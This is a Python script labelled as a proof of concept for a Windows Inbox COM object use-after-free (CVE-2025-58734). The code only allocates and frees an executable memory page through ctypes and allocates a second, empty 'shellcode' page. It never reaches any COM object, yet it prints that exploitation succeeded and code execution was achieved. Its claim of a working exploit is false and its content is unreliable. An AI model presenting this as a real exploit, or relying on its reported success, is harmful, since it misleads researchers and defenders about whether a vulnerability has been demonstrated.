The following code is for security research and authorized testing only.
python
# CVE-2025-58734 - Microsoft Windows Inbox COM Objects Use After Free
# Vulnerability: Use After Free in Inbox COM Objects
# Impact: Local Code Execution
# CVSS: 7.0 (HIGH)
#
# Note: This PoC demonstrates the conceptual exploitation approach.
# Actual exploitation requires precise memory layout control and
# interaction with specific Inbox COM Object interfaces.
import ctypes
import sys
import os
# Windows API constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
MEM_RELEASE = 0x8000
PAGE_EXECUTE_READWRITE = 0x40
class ComObjectUAF:
"""
Conceptual PoC for CVE-2025-58734 UAF in Inbox COM Objects.
The vulnerability exists when a COM object is freed but
a dangling reference is still used by the application.
"""
def __init__(self):
self.com_object_ptr = None
self.freed = False
def create_com_object(self):
"""Simulate creation of an Inbox COM Object"""
# In real exploitation, this would be a call to
# CoCreateInstance with the vulnerable CLSID
print("[*] Creating vulnerable Inbox COM Object...")
# Allocate memory for COM object (simulated)
self.com_object_ptr = ctypes.windll.kernel32.VirtualAlloc(
None, 0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
)
print(f"[+] COM Object allocated at: 0x{self.com_object_ptr:x}")
return self.com_object_ptr
def trigger_release(self):
"""Simulate premature release of COM object (the bug)"""
print("[*] Triggering premature COM object release...")
# Release the object but keep the pointer (UAF condition)
if self.com_object_ptr:
ctypes.windll.kernel32.VirtualFree(
self.com_object_ptr, 0, MEM_RELEASE
)
self.freed = True
print("[!] COM Object freed but reference still exists (UAF)")
def exploit_uaf(self):
"""Exploit the use-after-free condition"""
if not self.freed:
print("[-] Object not freed yet, cannot exploit")
return False
print("[*] Reclaiming freed memory with controlled data...")
# In real exploitation, attacker would spray heap or
# allocate new objects to reclaim the freed memory
# with controlled vtable pointers
# Simulate shellcode placement
shellcode_ptr = ctypes.windll.kernel32.VirtualAlloc(
None, 0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
)
print(f"[+] Shellcode placed at: 0x{shellcode_ptr:x}")
print("[!] When application calls through dangling pointer,")
print(" execution will be redirected to attacker-controlled code")
return True
def main():
print("=" * 60)
print("CVE-2025-58734 - Inbox COM Objects UAF PoC")
print("Microsoft Windows Local Code Execution")
print("=" * 60)
if sys.platform != 'win32':
print("[-] This PoC requires Windows to execute")
sys.exit(1)
exploit = ComObjectUAF()
# Step 1: Create the vulnerable COM object
exploit.create_com_object()
# Step 2: Trigger the premature release (bug condition)
exploit.trigger_release()
# Step 3: Exploit the use-after-free
if exploit.exploit_uaf():
print("\n[!] Exploitation successful - code execution achieved")
print("[*] In real scenario, this would execute attacker payload")
if __name__ == "__main__":
main()